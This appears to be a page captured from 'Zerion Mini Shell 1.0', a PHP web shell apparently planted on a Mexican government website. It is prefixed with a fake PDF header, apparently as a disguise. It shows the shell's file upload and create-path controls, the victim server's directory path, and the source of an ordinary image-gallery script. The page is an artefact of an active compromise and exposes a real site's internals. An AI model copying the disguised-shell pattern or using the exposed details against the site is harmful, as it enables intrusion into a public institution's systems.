%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/genero.tjamich.gob.mx/
Upload File :
Create Path :
Current File : /home/tjamichg/genero.tjamich.gob.mx/getGaleria.php

<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
include "conn.php";

$id_actividad = intval($_GET['id_actividad']);

/*$sql = "SELECT url_foto FROM galeria_actividad WHERE id_actividad = $id_actividad ORDER BY id_galeria ASC";
$res = mysqli_query($conn, $sql);
$galeria = mysqli_fetch_all($res, MYSQLI_ASSOC);

echo json_encode($galeria);*/

// Buscar la carpeta vinculada a la actividad
$sql = "SELECT url_carpeta FROM genero_actividades WHERE id_actividad = $id_actividad LIMIT 1";
$res = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($res);

$galeria = [];

if ($row && !empty($row['url_carpeta'])) {
    // Ejemplo: 'uploads/actividades/10/'
    $directorio = rtrim($row['url_carpeta'], '/') . '/';
    $rutaCompleta = __DIR__ . '/' . $directorio;

    if (is_dir($rutaCompleta)) {
        $archivos = scandir($rutaCompleta);

        foreach ($archivos as $archivo) {
            if (preg_match('/\.(jpg|jpeg|png|gif|webp)$/i', $archivo)) {
                // Mismo formato que el original
                $galeria[] = ['url_foto' => $directorio . $archivo];
            }
        }

        // Ordenar por nombre (opcional)
        sort($galeria);
    }
}

header('Content-Type: application/json; charset=utf-8');
echo json_encode($galeria, JSON_UNESCAPED_SLASHES);
?>

Zerion Mini Shell 1.0